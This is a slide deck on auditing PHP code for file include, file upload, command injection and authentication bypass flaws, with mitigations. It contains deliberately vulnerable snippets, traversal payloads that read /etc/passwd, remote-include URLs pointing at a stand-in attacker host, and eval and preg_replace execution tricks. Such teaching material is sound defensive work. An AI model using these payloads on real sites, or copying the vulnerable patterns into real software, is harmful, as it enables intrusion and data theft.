PHP Code Auditing - File Vulnerabilities

advertisement
PHP Vulnerability Potpourri
File Include, Command Injection & Authentication
Bypass Vulnerabilities
©Copyright Justin C. Klein Keane
File Include Vulnerabilities

Arbitrary file includes (reading)

Local file includes

Remote file includes

Directory traversal

Writing arbitrary files
©Copyright Justin C. Klein Keane
Basic PHP File Includes


Four common functions

include()

include_once()

require()

require_once()
Difference is that require will die (with fatal E_ERROR)
if the specified file is not found


Include() will produce an E_WARNING
_once functions will not re-include the file if it has
already been called
©Copyright Justin C. Klein Keane
How Includes Work



When PHP includes a file it will parse any PHP
code within that file
Anything not delimited with the PHP delimiters
(“<?php” and “?>”) will be treated as plain text
Plain text will simply be rendered inline
©Copyright Justin C. Klein Keane
Typical Include
<?php
include_once('header.php');
include_once($_GET['action'] . '.php');
include_once('footer.php');
?>
©Copyright Justin C. Klein Keane
Problems with Includes

Arbitrary local file includes triggered via
malicious user input:
<?php
include_once('inc/'.$_GET['action']);
?>

If user supplies “../../../../../../../etc/passwd” as
the 'action' URL variable that file will be
rendered during page display!
©Copyright Justin C. Klein Keane
Incorrect Projection Schemes

Some programmers will append a file extension
to attempt to limit includes like /etc/passwd
<?php
include('inc/'.$_GET['action'].'.php');
?>

This fails for several reasons, one is because
PHP is written in C
©Copyright Justin C. Klein Keane
Caveats of C

C doesn't have a string type

Instead strings are null terminated character arrays:
char foo[3];
int main() {
foo[0] = 'B';
foo[1] = 'A';
foo[2] = 'R';
foo[3] = '\0';
}

Without the null at the end the “string” would have no end

C reads from the start of the string until it reaches the null
character when printing strings
©Copyright Justin C. Klein Keane
Tricking PHP with C Conventions


Using a null character triggers C constructs and
defeats the prior example
If user passes in:
action=../../../../../../etc/passwd%00
then PHP executes:
include('inc/../.././../../etc/passwd');


Because PHP terminates the string at the null
bit (and ignores the appended '.php')
Most PHP programmers are unaware of this!
©Copyright Justin C. Klein Keane
Other Include Strategies

There are other ways around extension
protections
<?php
include('inc/'.$_GET['action'].'.php');
?>

Attacker can provide the GET var:
?action=/path/to/other/php_file.php?

renders the final “.php” as a GET var to the
included php_file.php
©Copyright Justin C. Klein Keane
Other Dangers of Includes




Often times include files are meant to be
included, not directly referenced
Include files live on the filesystem
May contain vulnerabilities when called directly
as variables could be redefined or arbitrarily
defined
Especially dangerous when register_globals is
on!
©Copyright Justin C. Klein Keane
Example

Main file:
<?php
$style_dir='images/';
include_once('header.php');
[...]

Include file:
<html>
<head>
<title>Foo Site</title>
<style type=”text/css”>
@import url(“<?php echo $style_dir;?>style.css”);
</head>
<body>

What happens when an attacker calls:
http://sitename.tld/header.php?style_dir=http://myEvilSite.tld/css/
©Copyright Justin C. Klein Keane
Remote File Include



Rather than specifying a local resource, an
attacker could specify a remote file for inclusion
Remote files must be served as plain text,
rather than compiled PHP
Remote text is pulled for inclusion then the local
PHP compiler interprets the text, rendering the
PHP locally
©Copyright Justin C. Klein Keane
Remote File Include
Requirements
/etc/php.ini has parameters that define the ability
of PHP to include files:
;;;;;;;;;;;;;;;;;;
; Fopen wrappers ;
;;;;;;;;;;;;;;;;;;
; Whether to allow the treatment of URLs (like http:// or
ftp://) as files.
allow_url_fopen = On
©Copyright Justin C. Klein Keane
If allow_url_fopen is On

Attackers can include remote files:
<?php
include_once($_GET['action'] . '.php');
?>
Attacker can call
?action=http://evilSite.tld/evil_script.txt?
©Copyright Justin C. Klein Keane
Other Include Strategies

Attackers can use includes to bypass direct access
restrictions such as .htaccess




This could be used to expose files like config.ini files
Attackers can include Apache files like .htpasswd or
.htaccess files which are included as plain text, exposing
their contents
Attackers can subvert program flow by calling files that are
normally not included
Attackers can call files readable by Apache, such as files
in /tmp which may contain sensitive data (like session
cookies or malicious uploads)
©Copyright Justin C. Klein Keane
Writing Files

PHP functionality used to write files include:

File upload functions built into an application
(such as image uploads)

Utilizing PHP filesystem commands such as
fwrite()
©Copyright Justin C. Klein Keane
Typical Image Upload Handler
$upload_dir = "files/";
$filename = basename($_FILES['form_filename']['name']);
$target = $upload_dir . $filename;
if(move_uploaded_file($_FILES['form_filename']['tmp_name'], $target)) {
echo $filename . " has been uploaded";
}
else{
echo "Error uploading file!";
}
©Copyright Justin C. Klein Keane
Common Upload Errors

Collisions cause overwrites

File type is not checked


File type is checked inappropriately


Programmer may assume only image files are
being uploaded, but this isn't enforced
Simply checking $_FILES['upload_file']['type'] is
insufficient since this is a browser provided
parameter
Double extensions (and programmer only check the
first one)
©Copyright Justin C. Klein Keane
Exploits for File Uploads



Attacker uploads a PHP file which contains a
backdoor or exposes other system files
Attacker uploads a .htaccess file overwriting
Apache rules
Attacker overwrites existing files to insert a
backdoor
©Copyright Justin C. Klein Keane
Fwrite()

The fwrite() function is a built in function that
allows Apache to write to file handles

Often used in installers to write config files

Also commonly used for logging

For more information see:
http://us3.php.net/manual/en/function.fwrite.php
©Copyright Justin C. Klein Keane
What is Command Injection


Also known as arbitrary code execution
Attacker injects malicious input that is then
passed to functions that execute shell
commands based on the input
Typical Example
<?php
if (isset($_GET['file']) {
system('rm ' . $_GET['file'] '.php');
}
?>

Developer hopes to delete a specific PHP file,
but the intent of the command is easily
bypassed
Injection Strategies



Shell commands are delimited by a semi-colon,
so multiple commands can be chained together
The pound or hash (#) symbol denotes the
beginning of a comment on the shell, any text
following it will be ignored
Strategies similar to SQL injection can be
utilized
Functions to Watch

Luckily, the list of commands which execute via
a shell is somewhat limited:

system()


exec()


Executes the command and returns output
Executes command, can populate PHP
variables with output and return values
passthru()

Executes command but only returns return
status
Other Dangerous Functions

There are other, less common functions to
watch out for

Backtick operators


$retval = `ls -lh *.php`;
shell_exec()

Same as backtick
Pipe Operations

PHP has commands that can open a pipe to a
process, so input and output can be directed to
the process

popen() and pclose()


$proc = popen(“/bin/ls”, “r”);
proc_open()

Offers more command control
Command Sanitization

PHP has two commands that can be used to
scrub input before passing it to a command

escapeshellarg()


escapeshellcmd()


Adds quotes around string and escapes any
internal quotes
Escapes all special characters that could be
used to interrupt or override execution flow
Note that you should still strive to sanitize to
“known good” commands
Other Nefarious Outliers
preg_replace with the /e flag allows for
command execution

<?php
print preg_replace('/(.*)/e', 'strtoupper("\\1")', '{${phpinfo()}}');
?>

This is certainly not the first place you would
look to find command execution!
Executing PHP Commands
Using the eval() command

Because of PHP's dynamic nature, variables
can actually be interpreted as commands:

<?php
$x = “echo exec('cat /etc/passwd');”;
eval($x);
?>
Mitigation

PHP's php.ini contains a rarely used directive:
; This directive allows you to disable certain functions for security reasons.
; It receives a comma-delimited list of function names. This directive is
; *NOT* affected by whether Safe Mode is turned On or Off.
disable_functions = exec, system, passthru, eval


Won't completely cut off avenues of attack but
can limit the programmers power to introduce
vulnerabilities
No way to limit backticks via php.ini
Auth Bypass




Authentication bypass is a vulnerability that
allows an attacker to gain access to
functionality without providing valid credentials
Attackers may seek to steal an authenticated
users session
May also be possible to initiate a privileged
session without credentials
Some functionality may not need a session
©Copyright Justin C. Klein Keane
Session Handling

PHP controls “session” data via a PHPSESSID
cookie by default (defined in php.ini)
©Copyright Justin C. Klein Keane
Session Cookies

Difficult to predict/guess

However, stored on the filesystem

Location determined by settings in /etc/php.ini
session.save_path = "/var/lib/php/session"
; Whether to use cookies.
session.use_cookies = 1
; This option enables administrators to make their users invulnerable to
; attacks which involve passing session ids in URLs; defaults to 0.
; session.use_only_cookies = 1
; Name of the session (used as cookie name).
session.name = PHPSESSID
; Initialize session on request startup.
session.auto_start = 0
; Lifetime in seconds of cookie or, if 0, until browser is restarted.
session.cookie_lifetime = 0
; The path for which the cookie is valid.
session.cookie_path = /
; The domain for which the cookie is valid.
session.cookie_domain =
©Copyright Justin C. Klein Keane
Permissions on Session Dir
# ls -lah /var/lib/php
total 156K
drwxr-xr-x 3 root root 4.0K Jun 2 12:13 .
drwxr-xr-x 21 root root 4.0K Jun 2 12:42 ..
drwxrwx--- 2 root apache 132K Jun 22 14:37 session

Note that apache can read and write in this
directory
©Copyright Justin C. Klein Keane
phpinfo() Disclosure
©Copyright Justin C. Klein Keane
Data Can be Leaked



If attacker can leverage webapp to list the
cookie directory they can modify their own
cookies
Cookie isn't tied to an IP, so cookie holder
automatically gains session access
Cookie can also be stolen from the end user

JavaScript can access cookies with domain
restrictions
©Copyright Justin C. Klein Keane
Logical Flaws

Application fails to check credentials properly

Name collisions for instance

These will not be programming errors so are
much more difficult to detect
©Copyright Justin C. Klein Keane
Limited Authentication


Application may only check for authentication in
one place
Some files may assume that authentication has
taken place but may be accessible outside of
that flow
©Copyright Justin C. Klein Keane
Brute Force




Steps should be taken to limit authentication
attempts
At the very least log auth attempts and alert
someone on multiple failures
Be sure to limit login failure feedback (don't
alert an attacker to whether or not a username
or password exists)
Be wary of password recovery functionality and
information it might disclose to an attacker
©Copyright Justin C. Klein Keane
Logout Failure


Applications that don't properly end sessions
could leave them open for exploitation
Kiosks or other public terminals are prime
offenders in these circumstances
©Copyright Justin C. Klein Keane
Unencrypted Authentication


Cookies and/or post data may be stolen
Forms themselves should be encrypted, not just
their post targets

MITM plain text keystroke loggers could be
utilized on unencrypted login forms
©Copyright Justin C. Klein Keane
Information Disclosure

There are many seemingly innocuous ways that
information valuable to an attacker can be
disclosed

Debugging messages

phpinfo() output can reveal configuration informaiton

Plain text files such as .ini or .htaccess or .htpasswd
files could be exposed

Directory listing could show files that would otherwise
be difficult to find

HTML comments
©Copyright Justin C. Klein Keane
Exposed Information



Assume any web accessible file can be read by
an attacker
Tools for brute force guessing filenames and
directories exist
Look at include files to make sure they can't be
abused by being called directly
©Copyright Justin C. Klein Keane
Download